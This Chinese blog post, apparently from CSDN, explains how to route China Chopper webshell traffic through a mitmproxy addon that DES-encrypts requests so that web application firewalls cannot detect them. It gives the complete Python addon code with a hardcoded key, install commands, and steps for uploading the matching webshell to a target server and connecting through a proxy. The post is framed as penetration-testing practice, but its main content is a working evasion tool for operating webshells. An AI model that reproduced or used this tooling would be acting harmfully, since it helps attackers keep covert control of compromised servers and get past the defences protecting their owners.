CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

基于HTTP代理中转菜刀过WAF

前言

在实际的渗透过程中,我们常常因为WAF而头疼。源码免杀了而传输层却被拦截了实在难受。虽然现在很多优秀的应用。如蚁剑,C刀,冰蝎等。本文就通过在不修改程序源码,不重复造轮子,代码量最少的前提下实现类似冰蝎的加密传输。

思路

如果我们要实现类似冰蝎那种数据加密传输必定要拦截菜刀的发送数据。如何拦截呢?这里就可以想到中间人劫持了。利用中间人拦截了菜刀的传输数据然后进行自定义加密再发送给webshell。这不就成功了吗?类似下图

 

分割线上是菜刀正常的传输,下面是我们要实现的加密传输。在加密算法的选择上我选择了DES算法。

原因如下:

1. PHP 本版兼容性最高,代码量少且简单,不依赖openssl 2. 在其他脚本中也是相对较少的代码量和较好的兼容性

实现

基于菜刀20160622版本修改和测试。

利用MitmProxy作为中间人代理,只需要写个插件即可实现。

MitmProxy

安装(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)

pip[3] install mitmproxy pip[3] install pydes

插件代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote

key = "KvCb2poU"
# 加密
def encrypt_str(key,data):
    # 加密方法
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 执行加密码
    k = method.encrypt(data)
    # 转base64编码并返回
    return base64.b64encode(k)

# 解密
def decrypt_str(key,data):
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 对base64编码解码
    k = base64.b64decode(data)
    # 再执行Des解密并返回
    return method.decrypt(k)

class Counter:

    def __init__(self):
        pass

    def request(self, flow: mitmproxy.http.HTTPFlow):

        print(key)
        print("first req:" + str(flow.request.content))
        flow.request.content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), flow.request.content),encoding="UTF-8")),encoding="UTF-8")
        print("req:" + str(flow.request.content))

    def response(self,flow: mitmproxy.http.HTTPFlow):
        flow.response.content = decrypt_str(key.encode(encoding="utf-8"),flow.response.content)
        print("decrypt resp:" + str(flow.response.content,encoding="utf-8"))

addons = [
    Counter()
]

使用

  1. 将支持 DES 加密的 Webshell 上传到服务器的 Web目录
  2. 运行下列代码开启代理中转(使用 -p 可以自定以端口) Windows:mitmdump -k -s 插件路径 Linux:mitmproxy -k -s 插件路径
  3. 用Proxifier等其他工具将菜刀或者域名加进代理规则即可。默认监听是8080
  4. 用菜刀直接连接就能开始食用啦

 

Webshell和插件还有其他详情在github。

参考:

https://xz.aliyun.com/t/2739 https://github.com/ekgg/Caidao-AES-Version

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值